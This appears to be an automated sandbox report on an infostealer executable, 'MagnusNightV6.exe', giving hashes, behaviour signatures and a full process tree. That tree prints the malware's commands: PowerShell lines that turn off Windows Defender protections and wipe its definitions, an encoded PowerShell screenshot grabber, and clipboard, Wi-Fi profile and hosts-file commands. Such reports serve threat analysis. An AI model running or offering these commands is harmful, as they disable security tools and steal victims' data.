Resubmissions

29-05-2024 11:35

240529-nqe3csdg74 10

29-05-2024 11:34

240529-npqsgadg57 10

Analysis

  • max time kernel
    138s
  • max time network
    109s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-05-2024 11:34

General

  • Target

    MagnusNightV6.exe

  • Size

    7.3MB

  • MD5

    9c6753dc5c8105888e74b8bbb1f3cb2b

  • SHA1

    c0462a45240c90debfe879a4202b5041f4c9fa4c

  • SHA256

    abadb91aef6f3f4f2dfdfaeb726fd86db82a9d5e31a2ff7749fd875baab67bfc

  • SHA512

    9aba4119aa0dc9da8a8204ca181fae7d080c898e3aa31126f61b35e19cb3840eb25666b48d116da8c8389eae8c9017a27cd5441db45edc1ed18b8c6a03d2834f

  • SSDEEP

    196608:krpkYS6bOshoKMuIkhVastRL5Di3uh1D7Jm:7YSuOshouIkPftRL54YRJm

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 58 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 10 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe
    "C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe
      "C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4176
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4388
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:456
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:3152
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4964
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:3132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1628
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:4872
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2160
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:2856
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3460
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\Temp\MagnusNightV6.exe"
              4⤵
              • Views/modifies file attributes
              PID:3548
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4660
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍  .scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:784
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2452
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:5076
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:244
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4996
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
              PID:744
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                4⤵
                  PID:1076
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                3⤵
                  PID:4848
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2832
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:3152
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:1960
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:456
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:3724
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                          PID:3308
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show profile
                            4⤵
                              PID:4744
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "systeminfo"
                            3⤵
                              PID:816
                              • C:\Windows\system32\systeminfo.exe
                                systeminfo
                                4⤵
                                • Gathers system information
                                PID:4484
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                              3⤵
                                PID:2824
                                • C:\Windows\system32\reg.exe
                                  REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                  4⤵
                                    PID:2160
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                  3⤵
                                    PID:1932
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5116
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uxuvfzqn\uxuvfzqn.cmdline"
                                        5⤵
                                          PID:2940
                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF368.tmp" "c:\Users\Admin\AppData\Local\Temp\uxuvfzqn\CSCA7B9D098D4674C26ACFDB14A628ED11.TMP"
                                            6⤵
                                              PID:744
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                        3⤵
                                          PID:4272
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:1076
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                            3⤵
                                              PID:3724
                                              • C:\Windows\system32\attrib.exe
                                                attrib -r C:\Windows\System32\drivers\etc\hosts
                                                4⤵
                                                • Drops file in Drivers directory
                                                • Views/modifies file attributes
                                                PID:2824
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              3⤵
                                                PID:2244
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  4⤵
                                                    PID:1484
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                  3⤵
                                                    PID:704
                                                    • C:\Windows\system32\attrib.exe
                                                      attrib +r C:\Windows\System32\drivers\etc\hosts
                                                      4⤵
                                                      • Drops file in Drivers directory
                                                      • Views/modifies file attributes
                                                      PID:3724
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:5020
                                                      • C:\Windows\System32\Conhost.exe
                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        4⤵
                                                          PID:1484
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:3392
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                          3⤵
                                                            PID:3496
                                                            • C:\Windows\System32\Conhost.exe
                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              4⤵
                                                                PID:1076
                                                              • C:\Windows\system32\tasklist.exe
                                                                tasklist /FO LIST
                                                                4⤵
                                                                • Enumerates processes with tasklist
                                                                PID:3828
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                              3⤵
                                                                PID:1176
                                                                • C:\Windows\system32\tree.com
                                                                  tree /A /F
                                                                  4⤵
                                                                    PID:3792
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                  3⤵
                                                                    PID:3392
                                                                    • C:\Windows\system32\tree.com
                                                                      tree /A /F
                                                                      4⤵
                                                                        PID:4888
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4960"
                                                                      3⤵
                                                                        PID:4704
                                                                        • C:\Windows\system32\taskkill.exe
                                                                          taskkill /F /PID 4960
                                                                          4⤵
                                                                          • Kills process with taskkill
                                                                          PID:4176
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4960"
                                                                        3⤵
                                                                          PID:2360
                                                                          • C:\Windows\system32\taskkill.exe
                                                                            taskkill /F /PID 4960
                                                                            4⤵
                                                                            • Kills process with taskkill
                                                                            PID:4232
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4628"
                                                                          3⤵
                                                                            PID:4436
                                                                            • C:\Windows\system32\taskkill.exe
                                                                              taskkill /F /PID 4628
                                                                              4⤵
                                                                              • Kills process with taskkill
                                                                              PID:4608
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4628"
                                                                            3⤵
                                                                              PID:4400
                                                                              • C:\Windows\system32\taskkill.exe
                                                                                taskkill /F /PID 4628
                                                                                4⤵
                                                                                • Kills process with taskkill
                                                                                PID:1412
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2460"
                                                                              3⤵
                                                                                PID:1788
                                                                                • C:\Windows\system32\taskkill.exe
                                                                                  taskkill /F /PID 2460
                                                                                  4⤵
                                                                                  • Kills process with taskkill
                                                                                  PID:4724
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2460"
                                                                                3⤵
                                                                                  PID:1932
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    4⤵
                                                                                      PID:5116
                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                      taskkill /F /PID 2460
                                                                                      4⤵
                                                                                      • Kills process with taskkill
                                                                                      PID:876
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 512"
                                                                                    3⤵
                                                                                      PID:1740
                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                        4⤵
                                                                                          PID:4996
                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                          taskkill /F /PID 512
                                                                                          4⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:860
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 512"
                                                                                        3⤵
